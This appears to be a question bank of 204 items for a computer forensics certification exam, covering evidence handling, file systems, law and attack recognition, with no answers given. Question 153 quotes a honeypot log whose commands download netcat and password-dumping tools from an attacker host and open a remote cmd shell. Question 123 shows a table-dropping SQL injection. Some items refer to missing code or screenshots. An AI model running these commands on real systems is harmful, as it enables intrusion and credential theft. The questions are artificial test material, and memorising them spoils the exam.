Question1: Smith, as a part his forensic investigation assignment, seized a mobile device. He was asked to recover the Subscriber Identity Module (SIM card) data in the mobile device. Smith found that the SIM was protected by a Personal Identification Number (PIN) code, but he was also aware that people generally leave the PIN numbers to the defaults or use easily guessable numbers such as 1234. He made three unsuccessful attempts, which blocked the SIM card. What can Jason do in this scenario to reset the PIN and access SIM data?
Question2: A picture file is recovered from a computer under investigation. During the investigation process, the file is enlarged 500% to get a better view of its contents. The picture quality is not degraded at all from this process. What kind of picture is this file. What kind of picture is this file?
Question3: Frank is working on a vulnerability assessment for a company on the West coast. The company hired Frank to assess its network security through scanning, pen tests, and vulnerability assessments. After discovering numerous known vulnerabilities detected by a temporary IDS he set up, he notices a number of items that show up as unknown but Questionable in the logs. He looks up the behavior on the Internet, but cannot find anything related. What organization should Frank submit the log to find out if it is a new vulnerability or not?
Question4: Which of the following attack uses HTML tags like <script></script>?
Question5: Data Files contain Multiple Data Pages, which are further divided into Page Header, Data Rows, and Offset Table. Which of the following is true for Data Rows?
Question6: You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation.
Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case?
Question7: You are carrying out the last round of testing for your new website before it goes live. The website has many dynamic pages and connects to a SQL backend that accesses your product inventory in a database. You come across a web security site that recommends inputting the following code into a search field on web pages to check for vulnerabilities: When you type this and click on search, you receive a pop-up window that says: "This is a test." What is the result of this test?
Question8: An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and DVDs are ______________ media used to store large amounts of data and are not affected by the magnet.
Question9: Which of the following web browser uses the Extensible Storage Engine (ESE) database format to store browsing records, including history, cache, and cookies?
Question10: In Linux OS, different log files hold different information, which help the investigators to analyze various issues during a security incident. What information can the investigators obtain from the log file var/log/dmesg?
Question11: Which of the following stand true for BIOS Parameter Block?
Question12: What will the following command accomplish?
dd if=/dev/xxx of=mbr.backup bs=512 count=1
Question13: You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network. How would you answer?
Question14: Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers many different programming as well as networking languages. What networking protocol language should she learn that routers utilize?
Question15: Pick the statement which does not belong to the Rule 804. Hearsay Exceptions; Declarant Unavailable.
Question16: Which of the following tools will help the investigator to analyze web server logs?
Question17: Which of the following does not describe the type of data density on a hard disk?
Question18: In a FAT32 system, a 123 KB file will use how many sectors?
Question19: Which part of Metasploit framework helps users to hide the data related to a previously deleted file or currently unused by the allocated file.
Question20: The ____________________ refers to handing over the results of private investigations to the authorities because of indications of criminal activity.
Question21: What must an attorney do first before you are called to testify as an expert?
Question22: The MAC attributes are timestamps that refer to a time at which the file was last modified or last accessed or originally created. Which of the following file systems store MAC attributes in Coordinated Universal Time (UTC) format?
Question23: What layer of the OSI model do TCP and UDP utilize?
Question24: What will the following command accomplish in Linux?
fdisk /dev/hda
Question25: Amber, a black hat hacker, has embedded a malware into a small enticing advertisement and posted it on a popular ad-network that displays across various websites. What is she doing?
Question26: Which of the following file system uses Master File Table (MFT) database to store information about every file and directory on a volume?
Question27: Daryl, a computer forensics investigator, has just arrived at the house of an alleged computer hacker. Daryl takes pictures and tags all computer and peripheral equipment found in the house. Daryl packs all the items found in his van and takes them back to his lab for further examination. At his lab, Michael his assistant helps him with the investigation. Since Michael is still in training, Daryl supervises all of his work very carefully. Michael is not quite sure about the procedures to copy all the data off the computer and peripheral devices. How many data acquisition tools should Michael use when creating copies of the evidence for the investigation?
Question28: Why is it a good idea to perform a penetration test from the inside?
Question29: Which of the following Linux command searches through the current processes and lists the process IDs those match the selection criteria to stdout?
Question30: To reach a bank web site, the traffic from workstations must pass through a firewall. You have been asked to review the firewall configuration to ensure that workstations in network 10.10.10.0/24 can only reach the bank web site 10.20.20.1 using https. Which of the following firewall rules meets this requirement?
Question31: How will you categorize a cybercrime that took place within a CSP's cloud environment?
Question32: The rule of thumb when shutting down a system is to pull the power plug. However, it has certain drawbacks. Which of the following would that be?
Question33: You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to staff the lab?
Question34: When conducting computer forensic analysis, you must guard against ______________ So that you remain focused on the primary job and insure that the level of work does not increase beyond what was originally expected.
Question35: When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to find email sent from a Blackberry device?
Question36: What hashing method is used to password protect Blackberry devices?
Question37: Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime?
Question38: Which of the following tool captures and allows you to interactively browse the traffic on a network?
Question39: To make sure the evidence you recover and analyze with computer forensics software can be admitted in court, you must test and validate the software. What group is actively providing tools and creating procedures for testing and validating computer forensics software?
Question40: What binary coding is used most often for e-mail purposes?
Question41: Which of the following statements is incorrect when preserving digital evidence?
Question42: While searching through a computer under investigation, you discover numerous files that appear to have had the first letter of the file name replaced by the hex code byte 5h. What does this indicate on the computer?
Question43: A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not have any on-site IT employees, but wants to search for evidence of the breach themselves to prevent any possible media attention. Why would this not be recommended?
Question44: Gill is a computer forensics investigator who has been called upon to examine a seized computer. This computer, according to the police, was used by a hacker who gained access to numerous banking institutions to steal customer information. After preliminary investigations, Gill finds in the computer's log files that the hacker was able to gain access to these banks through the use of Trojan horses. The hacker then used these Trojan horses to obtain remote access to the companies' domain controllers. From this point, Gill found that the hacker pulled off the SAM files from the domain controllers to then attempt and crack network passwords. What is the most likely password cracking technique used by this hacker to break the user passwords from the SAM files?
Question45: Tasklist command displays a list of applications and services with their Process ID (PID) for all tasks running on either a local or a remote computer. Which of the following tasklist commands provides information about the listed processes, including the image name, PID, name, and number of the session for the process?
Question46: Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM files on a computer. Where should Harold navigate on the computer to find the file?
Question47: Office Documents (Word, Excel and PowerPoint) contain a code that allows tracking the MAC or unique identifier of the machine that created the document. What is that code called?
Question48: Which of the following Event Correlation Approach is an advanced correlation method that assumes and predicts what an attacker can do next after the attack by studying the statistics and probability and uses only two variables?
Question49: Why should you never power on a computer that you need to acquire digital evidence from?
Question50: Before performing a logical or physical search of a drive in Encase, what must be added to the program?
Question51: When examining a file with a Hex Editor, what space does the file header occupy?
Question52: Select the data that a virtual memory would store in a Windows-based system.
Question53: What is the size value of a nibble?
Question54: Smith, a forensic examiner, was analyzing a hard disk image to find and acquire deleted sensitive files. He stumbled upon a $Recycle.Bin folder in the root directory of the disk. Identify the operating system in use.
Question55: Which U.S. law sets the rules for sending emails for commercial purposes, establishes the minimum requirements for commercial messaging, gives the recipients of emails the right to ask the senders to stop emailing them, and spells out the penalties in case the above said rules are violated?
Question56: What is cold boot (hard boot)?
Question57: You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls? (Choose two.)
Question58: You are working in the security Department of law firm. One of the attorneys asks you about the topic of sending fake email because he has a client who has been charged with doing just that. His client alleges that he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his client is mistaken and that fake email is possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears to come from his boss. What port do you send the email to on the company SMTP server?
Question59: While analyzing a hard disk, the investigator finds that the file system does not use UEFI-based interface. Which of the following operating systems is present on the hard disk?
Question60: The offset in a hexadecimal code is:
Question61: Which of the following are small pieces of data sent from a website and stored on the user's computer by the user's web browser to track, validate, and maintain specific user information?
Question62: You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case. How would you permanently erase the data on the hard disk?
Question63: While working for a prosecutor, what do you think you should do if the evidence you found appears to be exculpatory and is not being released to the defense?
Question64: Which part of the Windows Registry contains the user's password file?
Question65: Which of the following is an iOS Jailbreaking tool?
Question66: Steven has been given the task of designing a computer forensics lab for the company he works for. He has found documentation on all aspects of how to design a lab except the number of exits needed. How many exits should Steven include in his design for the computer forensics lab?
Question67: James is dealing with a case regarding a cybercrime that has taken place in Arizona, USA.
James needs to lawfully seize the evidence from an electronic device without affecting the user's anonymity. Which of the following law should he comply with, before retrieving the evidence?
Question68: Which of the following is NOT a part of pre-investigation phase?
Question69: What is one method of bypassing a system BIOS password?
Question70: You are working as a Computer forensics investigator for a corporation on a computer abuse case. You discover evidence that shows the subject of your investigation is also embezzling money from the company. The company CEO and the corporate legal counsel advise you to contact law enforcement and provide them with the evidence that you have found. The law enforcement officer that responds requests that you put a network sniffer on your network and monitor all traffic to the subject's computer. You inform the officer that you will not be able to comply with that request because doing so would:
Question71: George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan. Why would a scanner like Nessus is not recommended in this situation?
Question72: Which of the following information is displayed when Netstat is used with -ano switch?
Question73: Lynne receives the following email:
Dear [email protected]! We are sorry to inform you that your ID has been temporarily frozen due to incorrect or missing information saved at 2016/11/10 20:40:24 You have 24 hours to fix this problem or risk to be closed permanently!
To proceed Please Connect >> My Apple ID
Thank You The link to My Apple ID shows http://byggarbetsplatsen.se/backup/signon/ What type of attack is this?
Question74: A law enforcement officer may only search for and seize criminal evidence with _______________________, which are facts or circumstances that would lead a reasonable person to believe a crime has been committed or is about to be committed, evidence of the specific crime exists and the evidence of the specific crime exists at the place to be searched.
Question75: Which of the following is NOT a graphics file?
Question76: An International Mobile Equipment Identifier (IMEI) is a 15-digit number that indicates the manufacturer, model type, and country of approval for GSM devices. The first eight digits of an IMEI number that provide information about the model and origin of the mobile device is also known as:
Question77: What does the 56.58.152.114(445) denote in a Cisco router log?
Jun 19 23:25:46.125 EST: %SEC-4-IPACCESSLOGP: list internet-inbound denied udp 67.124.115.35(8084) -> 56.58.152.114(445), 1 packet
Question78: What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?
Question79: When examining a hard disk without a write-blocker, you should not start windows because Windows will write data to the:
Question80: A forensics investigator is searching the hard drive of a computer for files that were recently moved to the Recycle Bin. He searches for files in C:\RECYCLED using a command line tool but does not find anything. What is the reason for this?
Question81: If you plan to startup a suspect's computer, you must modify the ___________ to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the hard drive.
Question82: Which forensic investigating concept trails the whole incident from how the attack began to how the victim was affected?
Question83: Which of the following is a part of a Solid-State Drive (SSD)?
Question84: While looking through the IIS log file of a web server, you find the following entries:
What is evident from this log file?
Question85: companyXYZ has asked you to assess the security of their perimeter email gateway. From your office in New York you craft a specially formatted email message and send it across the Internet to an employee of CompanyXYZ. The employee of CompanyXYZ is aware.
Question86: Select the tool appropriate for examining the dynamically linked libraries of an application or malware.
Question87: To preserve digital evidence, an investigator should ____________________.
Question88: Identify the file system that uses $BitMap file to keep track of all used and unused clusters on a volume.
Question89: An investigator has extracted the device descriptor for a 1GB thumb drive that looks like: Disk&Ven_Best_Buy&Prod_Geek_Squad_U3&Rev_6.15. What does the "Geek_Squad" part represent?
Question90: What is the name of the first reserved sector in File allocation table?
Question91: Which of the following techniques can be used to beat steganography?
Question92: Hackers can gain access to Windows Registry and manipulate user passwords, DNS settings, access rights or others features that they may need in order to accomplish their objectives. One simple method for loading an application at startup is to add an entry (Key) to the following Registry Hive:
Question93: Which of the following tool can the investigator use to analyze the network to detect Trojan activities?
Question94: George is a senior security analyst working for a state agency in Florid a. His state's congress just passed a bill mandating every state agency to undergo a security audit annually. After learning what will be required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill requires that an IDS with a "time-based induction machine" be used.
What IDS feature must George implement to meet this requirement?
Question95: A(n) _____________________ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.
Question96: Which among the following tools can help a forensic investigator to access the registry files during postmortem analysis?
Question97: Ron, a computer forensics expert, is investigating a case involving corporate espionage. He has recovered several mobile computing devices from the crime scene. One of the evidence that Ron possesses is a mobile phone from Nokia that was left in ON condition. Ron needs to recover the IMEI number of the device to establish the identity of the device owner. Which of the following key combinations can he use to recover the IMEI number?
Question98: The efforts to obtain information before a trail by demanding documents, depositions, questioned and answers written under oath, written requests for admissions of fact and examination of the scene is a description of what legal term?
Question99: You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The complainant has printer out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer because you need access to the _________________________ in order to track the emails back to the suspect.
Question100: When investigating a potential e-mail crime, what is your first step in the investigation?
Question101: An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?
Question102: Which of the following files DOES NOT use Object Linking and Embedding (OLE) technology to embed and link to other objects?
Question103: James, a hacker, identifies a vulnerability in a website. To exploit the vulnerability, he visits the login page and notes down the session ID that is created. He appends this session ID to the login URL and shares the link with a victim. Once the victim logs into the website using the shared URL, James reloads the webpage (containing the URL with the session ID appended) and now, he can browse the active session of the victim. Which attack did James successfully execute?
Question104: ____________________ is simply the application of Computer Investigation and analysis techniques in the interests of determining potential legal evidence.
Question105: You are conducting an investigation of fraudulent claims in an insurance company that involves complex text searches through large numbers of documents. Which of the following tools would allow you to quickly and efficiently search for a string within a file on the bitmap image of the target computer?
Question106: After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks.
What countermeasures could he take to prevent DDoS attacks?
Question107: Madison is on trial for allegedly breaking into her university's internal network. The police raided her dorm room and seized all of her computer equipment. Madison's lawyer is trying to convince the judge that the seizure was unfounded and baseless. Under which US Amendment is Madison's lawyer trying to prove the police violated?
Question108: Jim's company regularly performs backups of their critical servers. But the company can't afford to send backup tapes to an off-site vendor for long term storage and archiving. Instead Jim's company keeps the backup tapes in a safe in the office. Jim's company is audited each year, and the results from this year's audit show a risk because backup tapes aren't stored off-site. The Manager of Information Technology has a plan to take the backup tapes home with him and wants to know what two things he can do to secure the backup tapes while in transit?
Question109: Joshua is analyzing an MSSQL database for finding the attack evidence and other details, where should he look for the database logs?
Question110: For what purpose do the investigators use tools like iPhoneBrowser, iFunBox, OpenSSHSSH, and iMazing?
Question111: What is kept in the following directory? HKLM\SECURITY\Policy\Secrets
Question112: Richard is extracting volatile data from a system and uses the command doskey/history. What is he trying to extract?
Question113: Which of the following is NOT an anti-forensics technique?
Question114: What will the following command accomplish?
Question115: In the context of file deletion process, which of the following statement holds true?
Question116: Sniffers that place NICs in promiscuous mode work at what layer of the OSI model?
Question117: You are called in to assist the police in an investigation involving a suspected drug dealer. The suspects house was searched by the police after a warrant was obtained and they located a floppy disk in the suspects bedroom. The disk contains several files, but they appear to be password protected. What are two common methods used by password cracking software that you can use to obtain the password?
Question118: A master boot record (MBR) is the first sector ("sector zero") of a data storage device. What is the size of MBR?
Question119: Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject. Julie would like to focus the subject of the essay on the most common type of crime found in corporate Americ a. What crime should Julie focus on?
Question120: Identify the term that refers to individuals who, by virtue of their knowledge and expertise, express an independent opinion on a matter related to a case based on the information that is provided.
Question121: Which among the following web application threats is resulted when developers expose various internal implementation objects, such as files, directories, database records, or key-through references?
Question122: What does the bytes 0x0B-0x53 represent in the boot sector of NTFS volume on Windows 2000?
Question123: What will the following command produce on a website login page? SELECT email, passwd, login_id, full_name FROM members WHERE email = '[email protected]'; DROP TABLE members; --'
Question124: When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address at a specific time?
Question125: Corporate investigations are typically easier than public investigations because:
Question126: Which of the following network attacks refers to sending huge volumes of email to an address in an attempt to overflow the mailbox or overwhelm the server where the email address is hosted so as to cause a denial-of-service attack?
Question127: How many possible sequence number combinations are there in TCP/IP protocol?
Question128: Paul is a computer forensics investigator working for Tyler & Company Consultants. Paul has been called upon to help investigate a computer hacking ring broken up by the local police. Paul begins to inventory the PCs found in the hackers hideout. Paul then comes across a PDA left by them that is attached to a number of different peripheral devices. What is the first step that Paul must take with the PDA to ensure the integrity of the investigation?
Question129: What does the acronym POST mean as it relates to a PC?
Question130: Which of the following is a record of the characteristics of a file system, including its size, the block size, the empty and the filled blocks and their respective counts, the size and location of the inode tables, the disk block map and usage information, and the size of the block groups?
Question131: What is the smallest physical storage unit on a hard drive?
Question132: What is the primary function of the tool CHKDSK in Windows that authenticates the file system reliability of a volume?
Question133: What technique used by Encase makes it virtually impossible to tamper with evidence once it has been acquired?
Question134: Why would you need to find out the gateway of a device when investigating a wireless attack?
Question135: John is working as a computer forensics investigator for a consulting firm in Canada. He is called to seize a computer at a local web caf purportedly used as a botnet server. John thoroughly scans the computer and finds nothing that would lead him to think the computer was a botnet server. John decides to scan the virtual memory of the computer to possibly find something he had missed. What information will the virtual memory scan produce?
Question136: Depending upon the jurisdictional areas, different laws apply to different incidents. Which of the following law is related to fraud and related activity in connection with computers?
Question137: What does the 63.78.199.4(161) denotes in a Cisco router log?
Mar 14 22:57:53.425 EST: %SEC-6-IPACCESSLOGP: list internet-inbound denied udp 66.56.16.77(1029) -> 63.78.199.4(161), 1 packet
Question138: Adam, a forensic analyst, is preparing VMs for analyzing a malware. Which of the following is NOT a best practice?
Question139: %3cscript%3ealert("XXXXXXXX")%3c/script%3e is a script obtained from a Cross-Site Scripting attack. What type of encoding has the attacker employed?
Question140: When is it appropriate to use computer forensics?
Question141: Gary, a computer technician, is facing allegations of abusing children online by befriending them and sending them illicit adult images from his office computer. What type of investigation does this case require?
Question142: Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers.
Bill protects the PDF documents with a password and sends them to their intended recipients.
Why PDF passwords do not offer maximum protection?
Question143: If a PDA is seized in an investigation while the device is turned on, what would be the proper procedure?
Question144: Which of the following Perl scripts will help an investigator to access the executable image of a process?
Question145: Which of the following should a computer forensics lab used for investigations have?
Question146: Which of the following ISO standard defines file systems and protocol for exchanging data between optical disks?
Question147: Ivanovich, a forensics investigator, is trying to extract complete information about running processes from a system. Where should he look apart from the RAM and virtual memory?
Question148: What should you do when approached by a reporter about a case that you are working on or have worked on?
Question149: As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing . What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?
Question150: Which of the following tool enables a user to reset his/her lost admin password in a Windows system?
Question151: You are working as an independent computer forensics investigator and received a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a "simple backup copy" of the hard drive in the PC and put it on this drive and requests that you examine that drive for evidence of the suspected images. You inform him that a "simple backup copy" will not provide deleted files or recover file fragments.
What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceeding?
Question152: Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a small accounting firm in Florid a. They have given her permission to perform social engineering attacks on the company to see if their in-house training did any good. Julia calls the main number for the accounting firm and talks to the receptionist. Julia says that she is an IT technician from the company's main office in Iowa. She states that she needs the receptionist's network username and password to troubleshoot a problem they are having. Julia says that Bill Hammond, the CEO of the company, requested this information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked for. What principal of social engineering did Julia use?
Question153: The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
Question154: Analyze the hex representation of mysql-bin.000013 file in the screenshot below. Which of the following will be an inference from this analysis?
Question155: What is the investigator trying to analyze if the system gives the following image as output?
Question156: Meyer Electronics Systems just recently had a number of laptops stolen out of their office. On these laptops contained sensitive corporate information regarding patents and company strategies. A month after the laptops were stolen, a competing company was found to have just developed products that almost exactly duplicated products that Meyer produces. What could have prevented this information from being stolen from the laptops?
Question157: Davidson Trucking is a small transportation company that has three local offices in Detroit Michigan. Ten female employees that work for the company have gone to an attorney reporting that male employees repeatedly harassed them and that management did nothing to stop the problem. Davidson has employee policies that outline all company guidelines, including awareness on harassment and how it will not be tolerated. When the case is brought to court, whom should the prosecuting attorney call upon for not upholding company policy?
Question158: After passively scanning the network of Department of Defense (DoD), you switch over to active scanning to identify live hosts on their network. DoD is a large organization and should respond to any number of scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts respond to your ICMP pings; definitely not the number of hosts you were expecting. Why did this ping sweep only produce a few responses?
Question159: When obtaining a warrant, it is important to:
Question160: What is the location of the binary files required for the functioning of the OS in a Linux system?
Question161: You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of Californi a. Your next step is to initiate a DoS attack on their network. Why would you want to initiate a DoS attack on a system you are testing?
Question162: The MD5 program is used to:
Question163: What is the name of the Standard Linux Command that is also available as windows application that can be used to create bit-stream images?
Question164: When a user deletes a file or folder, the system stores complete path including the original filename is a special hidden file called "INFO2" in the Recycled folder. If the INFO2 file is deleted, it is recovered when you ______________________.
Question165: Which tool does the investigator use to extract artifacts left by Google Drive on the system?
Question166: In Microsoft file structures, sectors are grouped together to form:
Question167: Which of the following is a federal law enacted in the US to control the ways that financial institutions deal with the private information of individuals?
Question168: Paul's company is in the process of undergoing a complete security audit including logical and physical security testing. After all logical tests were performed; it is now time for the physical round to begin. None of the employees are made aware of this round of testing. The security-auditing firm sends in a technician dressed as an electrician. He waits outside in the lobby for some employees to get to work and follows behind them when they access the restricted areas. After entering the main office, he is able to get into the server room telling the IT manager that there is a problem with the outlets in that room. What type of attack has the technician performed?
Question169: NTFS sets a flag for the file once you encrypt it and creates an EFS attribute where it stores Data Decryption Field (DDF) and Data Recovery Field (DDR). Which of the following is not a part of DDF?
Question170: You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange 2000/2003 environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, MCSE, CEH preferred No Unix/Linux Experience needed What is this information posted on the job website considered?
Question171: You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source. Which of the following are you most interested in when trying to trace the source of the message?
Question172: What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled?
Question173: The following is a log file screenshot from a default installation of IIS 6.0.
What time standard is used by IIS as seen in the screenshot?
Question174: The Apache server saves diagnostic information and error messages that it encounters while processing requests. The default path of this file is usr/local/apache/logs/error.log in Linux. Identify the Apache error log from the following logs.
Question175: During an investigation, Noel found the following SIM card from the suspect's mobile. What does the code 89 44 represent?
Question176: During an investigation of an XSS attack, the investigator comes across the term "[a-zA-Z0-9\%]+" in analyzed evidence details. What is the expression used for?
Question177: The given image displays information about date and time of installation of the OS along with service packs, patches, and sub-directories. What command or tool did the investigator use to view this output?
Question178: Which of the following data structures stores attributes of a process, as well as pointers to other attributes and data structures?
Question179: Which of the following Android libraries are used to render 2D (SGL) or 3D (OpenGL/ES) graphics content to the screen?
Question180: During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:
Question181: Where should the investigator look for the Edge browser's browsing records, including history, cache, and cookies?
Question182: Who is responsible for the following tasks?
Question183: Your company uses Cisco routers exclusively throughout the network. After securing the routers to the best of your knowledge, an outside security firm is brought in to assess the network security.
Although they found very few issues, they were able to enumerate the model, OS version, and capabilities for all your Cisco routers with very little effort. Which feature will you disable to eliminate the ability to enumerate this information on your Cisco routers?
Question184: Software firewalls work at which layer of the OSI model?
Question185: Which of the following standard represents a legal precedent sent in 1993 by the Supreme Court of the United States regarding the admissibility of expert witnesses' testimony during federal legal proceedings?
Question186: Which list contains the most recent actions performed by a Windows User?
Question187: While presenting his case to the court, Simon calls many witnesses to the stand to testify. Simon decides to call Hillary Taft, a lay witness, to the stand. Since Hillary is a lay witness, what field would she be considered an expert in?
Question188: An executive has leaked the company trade secrets through an external drive. What process should the investigation team take if they could retrieve his system?
Question189: Which of the following standard represents a legal precedent regarding the admissibility of scientific examinations or experiments in legal cases?
Question190: An expert witness is a __________________ who is normally appointed by a party to assist the formulation and preparation of a party's claim or defense.
Question191: In Windows Security Event Log, what does an event id of 530 imply?
Question192: Which of the following tool creates a bit-by-bit image of an evidence media?
Question193: Which of the following files contains the traces of the applications installed, run, or uninstalled from a system?
Question194: Smith, a network administrator with a large MNC, was the first to arrive at a suspected crime scene involving criminal use of compromised computers. What should be his first response while maintaining the integrity of evidence?
Question195: In a computer that has Dropbox client installed, which of the following files related to the Dropbox client store information about local Dropbox installation and the Dropbox user account, along with email IDs linked with the account?
Question196: How often must a company keep log files for them to be admissible in a court of law?
Question197: As a security analyst, you setup a false survey website that will require users to create a username and a strong password. You send the link to all the employees of the company. What information will you be able to gather?
Question198: Hard disk data addressing is a method of allotting addresses to each _______ of data on a hard disk.
Question199: Event correlation is the process of finding relevance between the events that produce a final result. What type of correlation will help an organization to correlate events across a set of servers, systems, routers and network?
Question200: Raw data acquisition format creates _________ of a data set or suspect drive.
Question201: When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used?
Question202: NTFS has reduced slack space than FAT, thus having lesser potential to hide data in the slack space. This is because:
Question203: Investigators can use the Type Allocation Code (TAC) to find the model and origin of a mobile device. Where is TAC located in mobile devices?
Question204: Jason discovered a file named $RIYG6VR.doc in the C:\$Recycle.Bin\<USER SID>\ while analyzing a hard disk image for the deleted dat a. What inferences can he make from the file name?